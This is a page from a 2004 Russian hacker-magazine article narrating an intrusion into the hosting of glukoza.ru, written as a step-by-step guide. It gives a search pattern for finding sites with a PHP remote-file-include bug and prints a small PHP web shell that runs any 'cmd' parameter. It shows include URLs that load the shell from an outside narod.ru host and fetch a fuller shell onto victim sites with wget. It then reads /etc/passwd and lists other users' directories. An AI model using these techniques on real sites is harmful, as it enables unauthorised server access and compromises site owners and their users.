Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #69, СЕНТЯБРЬ 2004 г.

Как ломали Глюкозу.ru

Trinux (ttrinux@inbox.ru)

Xakep, номер #069, стр. 069-084-2


1) Известить админов www.glukoza.ru о незначительной дыре в их скриптах.

2) Они полезут в cPanel исправлять баги.

3) Все исправления я увижу в папке /tmp/.

Я не успел даже придумать, о чем именно и каким образом я сообщу админам, как меня осенило: «Стоп! Если мне хватает прав для чтения пользовательских файлов, может, мне хватит прав и листать их каталоги?». Нетерпеливо я сунулся обратно в шелл, посмотрел файл /etc/passwd в поисках какого-нибудь логина и забил команду "ls -la /home/glukoza0/". Облом, не хватает прав. Через полминуты я выполнил другую команду: "ls -la /home/glukoza0/public_html/". Да! Моих никчемных прав хватило, чтобы листать каталоги пользователей! Ни багом, ни тем более уязвимостью это назвать нельзя, просто издержки низкого профессионализма сисадминов. Забегая вперед, скажу, что в течение последующих 2-3 дней была исследована добрая половина российских хостеров на предмет наличия аналогичных проблем: как оказалось, примерно у трети наблюдалась подобная болезнь.

Делай раз

Сейчас я предлагаю немного отстраниться от сайта Глюкозы и уложить в голове еще раз все, что я проделал.

Первым делом я получил доступ к web-шеллу на одном из сайтов, хостящихся на Агаве. Самый легкий способ его получить – найти проект с классическим include-багом, о которым мы уже много раз писали. Для этого надо отправиться на Гугл и в строке поиска забить нечто вроде .ru/*.php?page=*.php. Поисковик немного подумает и покажет полторы тысячи бажных сайтов. Теперь создается файл примерно со следующим содержимым:

<?

if ($cmd==''){$cmd='ls -la';}

system("$cmd");

?>

Этот скрипт заливается куда-нибудь в инет (например, на narod.ru), и открывается первый попавшийся сайт из найденных Гуглом. Допустим, я наткнулся на страницу www.x.ru/index.php?page=news.php. Страница news.php заменяется на адрес моего скрипта. Например, http://xxx.narod/ru/fuck.php. В этом случае у меня получится примерно следующее: http://www.x.ru/index.php?page=http://xxx.narod.ru/fuck.php.

Если сайт бажный, то я увижу список файлов и каталогов в текущей папке сайта. Если же ничего такого не видно, то проще забить на сайт и попытать счастье с другим серваком.

Делай два

Теперь для удобства нужно залить на уязвимый сайт цивильные скрипты для навигации по каталогам на сервере. Я использую самописные сценарии, они адаптированы под меня. А вообще можно воспользоваться RemView (он лежит на нашем диске и на www.php.spb.ru).

Скрипты закачиваются куда-нибудь в инет (например, на http://xxx.narod.ru/rem.php). Теперь остается только перебросить РемВью со своего сайта на бажный проект. Для этого я бы набрал в адресной строке браузера следующий адрес: http://www.x.ru/index.php?page=http://x.narod.ru/x.sex&cmd=wget http://x.narod.ru/rem.php. Если все верно, то мой шелл удачно перельется на уязвимый сайт. Все! Nobody-шелл уже расположился на сайте нужного хостера.

Продолжаем разврат

Итак, теперь у меня есть nobody-шелл на хостинговом сервере. Время приступать к исследованию сервера. Чтобы узнать, кого я поймал, нужно ввести две консольные команды: "cat /etc/passwd; ls -la /etc/vmail/". Отобразится список пользователей на этом сервере и пути к их каталогам. Инфа, которую я увидел, - на скриншоте.

Назад на стр. 069-084-1  Содержание  Вперед на стр. 069-084-3